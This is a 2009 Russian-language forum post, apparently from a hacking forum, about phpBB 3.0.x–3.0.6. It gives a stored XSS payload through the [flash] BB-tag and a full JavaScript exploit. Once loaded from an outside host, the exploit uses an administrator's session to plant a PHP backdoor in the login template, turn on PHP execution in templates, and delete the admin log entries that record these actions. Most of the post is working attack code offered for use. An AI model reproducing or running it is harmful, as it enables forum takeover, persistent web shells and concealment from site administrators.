Показать сообщение отдельно

Активный межсайтовый скриптинг и автозагрузка шелла в phpBB 3.0.x-3.0.6
  #45  
Старый 22.12.2009, 22:57
LeverOne
Познающий
Регистрация: 22.02.2006
Сообщений: 67
С нами: 10638498

Репутация: 2033
По умолчанию Активный межсайтовый скриптинг и автозагрузка шелла в phpBB 3.0.x-3.0.6

1. Активный межсайтовый скриптинг phpBB 3.0.x-3.0.6.

BB-тег [flash] неотфильтрован чуть менее, чем полностью.

[flash=1,1]javascript:confirm(/lo/);//lo[/flash]

По умолчанию данный тег недоступен для зарегистрированных пользователей, но его можно разрешить для использования в личных сообщениях.

Работоспособность : Opera & Safari

Но есть ли там ещё XSS? O, да!

2. Автозагрузка шелла/ бэкдора и т.д. через XSS.

Для работы скрипта требуется, чтобы администратор был авторизован в админ. панеле.

Эксплойт реализует метод, описанный здесь: https://forum.antichat.ru/showpost.php?p=1176333&postcount=36:

* Скрипт не станет повторно добавлять php-код, если он уже имеется в шаблоне.

* В логе администратора удаляются записи только о произведенных действиях.

Шелл будет доступен по адресу: http://vulnsite.xz/forum/ucp.php?mode=login&lo=test

Также рекомендуется ознакомиться с этим https://forum.antichat.ru/showpost.php?p=1231741&postcount=37

Эксплойт:

Код:
/*/ phpBB 3.0.x-3.0.6 shell-inj.

/// Example:

    javascript:with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='http://yoursite.xz/shell-inj.js';void(0);

/// LeverOne. 12.2009
/*/


phpcode       =  '<!-- PHP --> if($_GET[lo]) echo($_GET[lo]); <!-- ENDPHP -->';
template_file =  'login_body.html';


// выделение базового url (директория админки и сессия) из главной страницы

get_base_url(location.pathname.substring(0, location.pathname.lastIndexOf('/') + 1)+'#');

function get_base_url(url) {
  requester('GET', url, null, 
              function() {
                if (r.readyState == 4) {
                    base_url = r.responseText.match(/\.\/.+?\?sid=.{32}/);
                    if (base_url != null)
                        get_default_style(base_url);   
                }
              }
           );
}


// получение названия стиля по умолчанию   

function get_default_style(base_url) {
  requester('GET', base_url + '&i=styles&mode=style', null, 
              function() {
                if (r.readyState == 4) {
                    default_style = r.responseText.match(/<strong>(.+?)<\/strong> \*/)[1];
                    get_templ_id(default_style, base_url);
                }
              }
           );
}


// получение id шаблона по умолчанию   

function get_templ_id(default_style, base_url) {
  requester('GET', base_url + '&i=styles&mode=template', null, 
              function() {
                if (r.readyState == 4) {
                    expr = new RegExp(default_style + '[\\w\\W]+?(id=\\d+)"', 'm');
                    templ_id = r.responseText.match(expr)[1];
                    to_edit_templ(templ_id, base_url);
                }
              }
           );
}


// на пути к редактированию шаблона...   

function to_edit_templ(templ_id, base_url) {
  requester('GET', base_url + '&i=styles&mode=template&action=edit&' + templ_id, null, 
              function() {
                if (r.readyState == 4) {

                    creation_time = r.responseText.match(/creation_time" value="(\d+)/i)[1];
                    form_token = r.responseText.match(/form_token" value="(.+?)"/i)[1];
                    postdata = 'template_file=' + template_file + '&creation_time=' + creation_time + '&form_token=' + form_token;
                    edit_templ(templ_id, base_url, postdata);
                }
              }
           );
}


// редактирование шаблона   

function edit_templ(templ_id, base_url, postdata) {
  requester('POST', base_url + '&i=styles&mode=template&action=edit&' + templ_id + '&text_rows=20', postdata, 
              function() {
                if (r.readyState == 4) {
                    template_data = r.responseText.match(/rows="20">([\w\W]+)<\/textarea/mi)[1];
                    template_data = template_data.replace(/&lt;/g, '<').replace(/&gt;/g, '>').replace(/&quot;/g, '"').replace(/&amp;/g, '&');
                    if (template_data.indexOf(phpcode) == -1) {
                        template_data = encodeURIComponent(template_data + phpcode);
                        creation_time = r.responseText.match(/creation_time" value="(\d+)/i)[1];
                        form_token    = r.responseText.match(/form_token" value="(.+?)"/i)[1];
                        postdata      = 'template_data=' + template_data + '&template_file=' + template_file +'&creation_time=' + creation_time + '&form_token=' + form_token + '&save=1';
                        setTimeout("send_edit_templ(templ_id, base_url, '" + postdata + "')", 1000);
                    }

                }
              }
           );
}


//  отправка редактированного шаблона   

function send_edit_templ(templ_id, base_url, postdata) {
  requester('POST', base_url + '&i=styles&mode=template&action=edit&' + templ_id + '&text_rows=20', postdata,
              function() {
                if (r.readyState == 4) {
                    to_allow_php(base_url);
                }
              }
           );
}


// переход на страницу настроек безопасности   

function to_allow_php(base_url) {
  requester('GET', base_url + '&i=board&mode=security', null, 
              function() {
                if (r.readyState == 4) {
                    creation_time = r.responseText.match(/creation_time" value="(\d+)/i)[1];
                    form_token = r.responseText.match(/form_token" value="(.+?)"/i)[1];
                    postdata = 'config%5Btpl_allow_php%5D=1&submit=1&creation_time=' + creation_time + '&form_token=' + form_token;
                    setTimeout("allow_php(base_url, '" + postdata + "')", 1000);
                }
              }
           );
}


// разрешение php в настройках   

function allow_php(base_url, postdata) {
  requester('POST', base_url + '&i=board&mode=security', postdata, 
              function() {
                if (r.readyState == 4) {
                    to_delete_log(base_url);
                }
              }
           );
}


// на пути к удалению логов...   

function to_delete_log(base_url) {
  requester('GET', base_url + '&i=logs&mode=admin', null, 
              function() {
                if (r.readyState == 4) {
                    log_num = r.responseText.match(/mark\[\]" value="(\d+)/g);
                    postdata = 'mark%5B%5D='+ log_num[0].substring(15) + '&mark%5B%5D=' + log_num[1].substring(15) + '&mark%5B%5D=' + log_num[2].substring(15) + '&delmarked=1';
                    delete_log(base_url, postdata);
                }
              }
           );
}


// удаление логов   

function delete_log(base_url, postdata) {
  requester('POST', base_url + '&i=logs&mode=admin', postdata, 
              function() {
                if (r.readyState == 4) {
                    confirm_uid = r.responseText.match(/confirm_uid" value="(\d+)/i)[1];
                    sess        = r.responseText.match(/sess" value="(.+?)"/i)[1];
                    sid         = r.responseText.match(/sid" value="(.+?)"/i)[1];
                    confirm     = r.responseText.match(/confirm" value="(.+?)"/i)[1];
                    postdata    = postdata + '&confirm_uid=' + confirm_uid + '&sess=' + sess + '&sid=' + sid + '&confirm=' + encodeURIComponent(confirm);
                    confirm_key = r.responseText.match(/confirm_key=(.+?)"/i)[1];
                    confirm_delete_log(base_url, postdata, confirm_key);
                }
              }
           );
}


// подтверждение удаления логов   

function confirm_delete_log(base_url, postdata, confirm_key) {
  requester('POST', base_url + '&i=logs&mode=admin&confirm_key='+ confirm_key, postdata, null
           );
}


//  универсальная функция запроса   

function requester(method, url, postdata, func) {
  try {r = new XMLHttpRequest()} catch(err) {r = new ActiveXObject('Msxml2.XMLHTTP')}
  r.open(method, url + '&r=' + Math.ceil(1000*Math.random()));
  if (method == 'POST') r.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');   
  r.onreadystatechange = func;
  r.send(postdata);
}
Как вы понимаете, он сработает с любой XSS.

Последний раз редактировалось LeverOne; 26.12.2009 в 20:18..
 
Ответить с цитированием